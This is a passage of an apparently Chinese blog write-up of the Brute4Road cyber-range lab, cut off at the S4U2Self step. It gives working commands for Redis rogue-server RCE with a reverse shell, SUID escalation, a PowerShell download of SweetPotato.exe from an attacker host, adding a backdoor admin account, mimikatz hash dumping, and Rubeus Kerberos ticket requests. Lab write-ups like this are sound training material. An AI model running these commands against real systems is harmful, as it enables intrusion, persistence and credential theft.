{"id":797,"date":"2023-07-31T20:12:44","date_gmt":"2023-07-31T12:12:44","guid":{"rendered":"http:\/\/119.45.47.125\/?p=797"},"modified":"2023-07-31T20:12:44","modified_gmt":"2023-07-31T12:12:44","slug":"yunjing-6","status":"publish","type":"post","link":"http:\/\/119.45.47.125\/index.php\/2023\/07\/31\/yunjing-6\/","title":{"rendered":"\u6625\u79cb\u4e91\u5883\uff08\u516d\uff09"},"content":{"rendered":"<blockquote>\n  Brute4Road\u662f\u4e00\u5957\u96be\u5ea6\u4e3a\u4e2d\u7b49\u7684\u9776\u573a\u73af\u5883\uff0c\u5b8c\u6210\u8be5\u6311\u6218\u53ef\u4ee5\u5e2e\u52a9\u73a9\u5bb6\u4e86\u89e3\u5185\u7f51\u6e17\u900f\u4e2d\u7684\u4ee3\u7406\u8f6c\u53d1\u3001\u5185\u7f51\u626b\u63cf\u3001\u4fe1\u606f\u6536\u96c6\u3001\u7279\u6743\u63d0\u5347\u4ee5\u53ca\u6a2a\u5411\u79fb\u52a8\u6280\u672f\u65b9\u6cd5\uff0c\u52a0\u5f3a\u5bf9\u57df\u73af\u5883\u6838\u5fc3\u8ba4\u8bc1\u673a\u5236\u7684\u7406\u89e3\uff0c\u4ee5\u53ca\u638c\u63e1\u57df\u73af\u5883\u6e17\u900f\u4e2d\u4e00\u4e9b\u6709\u8da3\u7684\u6280\u672f\u8981\u70b9\u3002\u8be5\u9776\u573a\u5171\u67094\u4e2aflag\uff0c\u5206\u5e03\u4e8e\u4e0d\u540c\u7684\u9776\u673a\u3002\n<\/blockquote>\n<hr \/>\n<p><strong>\u53c2\u8003\u6587\u7ae0\uff1a<\/strong><\/p>\n<ul><li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/xz.aliyun.com\/t\/11555\" title=\"\u57df\u6e17\u900f\u4e4b\u59d4\u6d3e\u653b\u51fb\u5168\u96c6\">\u57df\u6e17\u900f\u4e4b\u59d4\u6d3e\u653b\u51fb\u5168\u96c6<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/zysgmzb.club\/index.php\/archives\/241\" title=\"\u6625\u79cb\u4e91\u5883\u9776\u573a\u8bb0\u5f55-Brute4Road\">\u6625\u79cb\u4e91\u5883\u9776\u573a\u8bb0\u5f55-Brute4Road<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/mp.weixin.qq.com\/s\/O2LC0Qk55AAOqLGTJmzISg\" title=\"\u6625\u79cb\u4e91\u955c\u2014\u2014Brute4Road Writeup\">\u6625\u79cb\u4e91\u955c\u2014\u2014Brute4Road Writeup<\/a><\/li>\n<\/ul>\n<p>\u8bbf\u95ee IP \u5f97\u5230\u5982\u4e0b\u754c\u9762<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690162569-1-1024x368.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690162569-1-1024x368.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>fscan \u626b\u63cf IP\uff0c\u5b58\u5728 redis \u672a\u6388\u6743\u548c ftp \u9ed8\u8ba4\u7528\u6237<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690162722-2-1024x502.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690162722-2-1024x502.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>ftp \u7248\u672c\u662f 3.0.2\uff0c\u533f\u540d\u767b\u9646\u540e\u6ca1\u627e\u5230\u540e\u5229\u7528\u65b9\u6cd5\uff0c\u8003\u8651 redis \u4e3b\u4ece\u590d\u5236 RCE<\/p>\n<p>VPS \u4e0a\u5f00\u542f redis_rogue_server\uff0ckali \u4e0a\u76f4\u8fde\u9776\u673a redis<\/p>\n<pre><code class=\"language-shell line-numbers\">#VPS\npython3 redis_rogue_server.py -v -lport 21000 -path exp.so\n\n#kali\nredis-cli -h 39.99.148.41\n<\/code><\/pre>\n<p>\u800c\u540e <code>config set<\/code> \u76f8\u5173\u53c2\u6570\uff0c<code>slaveof<\/code> \u8fdb\u884c\u4e3b\u4ece\u540c\u6b65\uff0c\u628a exp.so \u5199\u5165\u5230\u9776\u673a\u6307\u5b9a\u76ee\u5f55<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690506484-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690506484-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u5199\u5165\u5b8c\u6210\u540e\uff0c<code>module load .\/exp.so<\/code> \u52a0\u8f7d\uff0c<code>system.rev VPS:IP PORT<\/code> \u53cd\u5f39shell<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690506583-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690506583-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u5728 <code>\/home\/redis\/flag<\/code> \u4e0b\u627e\u5230 flag\uff0c\u4f46\u662f\u6ca1\u6709\u6743\u9650\u8bfb\u53d6\uff0c\u8003\u8651\u63d0\u6743<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690506756-6-1024x352.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690506756-6-1024x352.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<pre><code class=\"language-shell line-numbers\">find \/ -perm -u=s -type f 2&gt;\/dev\/null\n<\/code><\/pre>\n<p>\u53d1\u73b0 base64 \u53ef\u4ee5\u7528<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690507069-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690507069-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<pre><code class=\"language-shell line-numbers\">base64 \/home\/redis\/flag\/flag01 | base64 -d\n<\/code><\/pre>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690508104-8-1024x283.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690508104-8-1024x283.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u56e0\u4e3a\u73af\u5883\u51fa\u7f51\uff0c\u5148\u4f20\u4e2a fscan \u8fdb\u53bb\uff0c\u4f46\u662f\u73af\u5883\u91cc\u6ca1\u6709 <code>ifconfig\/ip addr<\/code>\uff0c\u7528 <code>netstat -ano<\/code> \u770b\u4e00\u4e0b\u786e\u5b9a\u672c\u673a IP \u4e3a <code>172.22.2.7<\/code>\uff0c\u76f4\u63a5\u5f00\u626b<\/p>\n<pre><code class=\"language-shell line-numbers\">start ping\n(icmp) Target 172.22.2.16     is alive\n(icmp) Target 172.22.2.7      is alive\n(icmp) Target 172.22.2.18     is alive\n(icmp) Target 172.22.2.3      is alive\n(icmp) Target 172.22.2.34     is alive\n[*] Icmp alive hosts len is: 5\n172.22.2.34:445 open\n172.22.2.16:1433 open\n172.22.2.3:445 open\n172.22.2.18:445 open\n172.22.2.16:445 open\n172.22.2.34:139 open\n172.22.2.3:139 open\n172.22.2.34:135 open\n172.22.2.18:139 open\n172.22.2.16:139 open\n172.22.2.3:135 open\n172.22.2.16:135 open\n172.22.2.18:80 open\n172.22.2.16:80 open\n172.22.2.7:80 open\n172.22.2.18:22 open\n172.22.2.7:22 open\n172.22.2.7:21 open\n172.22.2.7:6379 open\n172.22.2.3:88 open\n[*] alive ports len is: 20\nstart vulscan\n[*] WebTitle:http:\/\/172.22.2.16        code:404 len:315    title:Not Found\n[+] NetInfo:\n[*]172.22.2.3\n   [-&gt;]DC\n   [-&gt;]172.22.2.3\n[*] WebTitle:http:\/\/172.22.2.7         code:200 len:4833   title:Welcome to CentOS\n[+] NetInfo:\n[*]172.22.2.34\n   [-&gt;]CLIENT01\n   [-&gt;]172.22.2.34\n[*] 172.22.2.3     [+]DC XIAORANG\\DC                Windows Server 2016 Datacenter 14393\n[+] NetInfo:\n[*]172.22.2.16\n   [-&gt;]MSSQLSERVER\n   [-&gt;]172.22.2.16\n[*] 172.22.2.34          XIAORANG\\CLIENT01          \n[*] 172.22.2.16          XIAORANG\\MSSQLSERVER       Windows Server 2016 Datacenter 14393\n[*] 172.22.2.18          WORKGROUP\\UBUNTU-WEB02      \n[*] WebTitle:http:\/\/172.22.2.18        code:200 len:57738  title:\u53c8\u4e00\u4e2aWordPress\u7ad9\u70b9\n\u5df2\u5b8c\u6210 20\/20\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 10.061381225s\n<\/code><\/pre>\n<p>\u6ce8\u610f\u5230 .18 \u662f\u4e00\u4e2a wordpress \u7ad9\u70b9\uff0c\u53ef\u80fd\u5b58\u5728\u7a81\u7834\u53e3\uff1b\u5728\u5f53\u524d\u673a\u5668\u4e0a\u4f20 NPC\uff0ckali \u6302\u4ee3\u7406<\/p>\n<pre><code class=\"language-shell line-numbers\">proxychains wpscan --url http:\/\/172.22.2.18 --enumerate ap --api-token xxxxxx\n<\/code><\/pre>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690509993-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690509993-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u7591\u4f3c\u5b58\u5728 <code>WPCargo Unauthenticated RCE<\/code>\uff0cPOC \u5c31\u5728\u7ed9\u7684\u94fe\u63a5\u91cc\uff0c\u628a\u5730\u5740\u6539\u4e0b\u76f4\u63a5\u6253<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690510524-\u5fae\u4fe1\u56fe\u7247\u7f16\u8f91_20230728101500.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690510524-\u5fae\u4fe1\u56fe\u7247\u7f16\u8f91_20230728101500.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u8681\u5251\u6302\u4ee3\u7406 CMDLINUX \u76f4\u63a5\u8fde\uff0c\u67e5\u770b <code>wp-config.php<\/code><\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690510789-10-1024x370.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690510789-10-1024x370.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u8fde\u63a5\u6570\u636e\u5e93\u53ef\u4ee5\u76f4\u63a5\u627e\u5230\u7b2c\u4e8c\u4e2a<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690511024-11-1024x258.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690511024-11-1024x258.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u6b64\u5916\uff0c\u5728\u4e0a\u9762\u7684\u8868\u91cc\u6709\u4e2a\u5bc6\u7801\u8868\uff0c\u5bfc\u51fa\u6765\uff1b\u60f3\u5230\u4e4b\u524d .16 \u662f\u4e2a MSSQLSERVER\uff0c\u5c1d\u8bd5 MSF \u5bc6\u7801\u7206\u7834<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690512818-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690512818-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u5f97\u5230\u5bc6\u7801\u540e\u7528 <code>mssql_exec<\/code> \u63a2\u4e0b\u6743\u9650\uff0c\u6743\u9650\u5f88\u4f4e\uff0c\u9700\u8981\u63d0\u6743<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690513680-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690513680-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u5728\u4e00\u5f00\u59cb\u7684\u673a\u5b50\u4e0a\u4f20\u4e00\u4e2a sweetpotato.exe\uff0c\u7136\u540e python2 \u5f00\u542f\u4e00\u4e2a HTTP \u670d\u52a1\uff0c\u8ba9 .16 \u8fd9\u8fb9 exec \u4e0b\u8f7d\u4e0b\u6765<\/p>\n<pre><code class=\"language-shell line-numbers\">powershell (new-object System.Net.WebClient).DownloadFile('http:\/\/172.22.2.7:8000\/SweetPotato.exe','C:\\programdata\\SweetPotato.exe)'\n<\/code><\/pre>\n<p>\u4f20\u4e0a\u53bb\u540e\uff0c\u6267\u884c <code>C:\\ProgramData\\SweetPotato.exe -a whoami<\/code><\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690796427-\u5fae\u4fe1\u622a\u56fe_20230731173441.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690796427-\u5fae\u4fe1\u622a\u56fe_20230731173441.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>flag03 \u76f4\u63a5\u8bfb\u5c31\u884c<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690796472-\u5fae\u4fe1\u622a\u56fe_20230731174003.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690796472-\u5fae\u4fe1\u622a\u56fe_20230731174003.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u4e3a\u65b9\u4fbf\u540e\u7eed\u5229\u7528\uff0c\u8fd8\u662f\u6dfb\u52a0\u7528\u6237\uff0c\u653e\u5230\u7ba1\u7406\u5458\u7ec4<\/p>\n<pre><code class=\"language-shell line-numbers\">C:\/ProgramData\/SweetPotato.exe \"net user aspiran7 qwer1234! \/add\"\nC:\/ProgramData\/SweetPotato.exe \"net localgroup administrators aspiran7 \/add\"\n<\/code><\/pre>\n<p>\u4f46\u662f kali <code>proxychains rdesktop<\/code> \u4e0a\u4e0d\u53bb\uff0c\u63d0\u793a <code>Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).<\/code>\uff0c\u53ef\u4ee5\u7528\u8fd9\u7bc7<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/zhuanlan.zhihu.com\/p\/371497627\" title=\"\u6587\u7ae0\">\u6587\u7ae0<\/a>\u91cc\u7684 remmina \u89e3\u51b3\uff0c\u6216\u662f\u76f4\u63a5\u5728 win \u673a\u4e0a\u6302 proxifier \u89e3\u51b3<\/p>\n<p>mimikatz \u4f20\u4e0a\u53bb\u6536\u96c6\u4fe1\u606f<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690800492-\u5fae\u4fe1\u622a\u56fe_20230731184726-1024x764.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690800492-\u5fae\u4fe1\u622a\u56fe_20230731184726-1024x764.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u53ef\u4ee5\u62ff\u5230\u670d\u52a1\u8d26\u6237\u7684 HASH \u503c\uff0c\u8003\u8651\u7ea6\u675f\u59d4\u6d3e\uff0c\u627e\u4e86\u4e2a\u522b\u7684\u5e08\u5085\u7f16\u8bd1\u597d\u7684 rubeus.exe \u4f20\u4e0a\u53bb\uff0c\u4f46\u662f\u4e0d\u80fd\u6267\u884c\uff0c\u63d0\u793a .NET Framework 3.5 \u7684\u95ee\u9898\uff0c\u7136\u540e\u627e\u4e86\u4e24\u7bc7\u6587\u7ae0\u89e3\u51b3\u4e0b\uff1a<\/p>\n<ul><li>https:\/\/blog.csdn.net\/pixel123\/article\/details\/102936624<\/li>\n<li>https:\/\/blog.csdn.net\/animatecat\/article\/details\/123659074<\/li>\n<\/ul>\n<p>\u518d\u6b21\u6267\u884c\u7533\u8bf7\u7968\u636e<\/p>\n<pre><code class=\"language-shell line-numbers\">Rubeus.exe asktgt \/user:MSSQLSERVER$ \/rc4:NTML \/domain:xiaorang.lab \/dc:DC.xiaorang.lab \/nowrap &gt; res.txt\n<\/code><\/pre>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690805480-\u5fae\u4fe1\u622a\u56fe_20230731195040-1024x290.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690805480-\u5fae\u4fe1\u622a\u56fe_20230731195040-1024x290.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u4f7f\u7528 S4U2Self 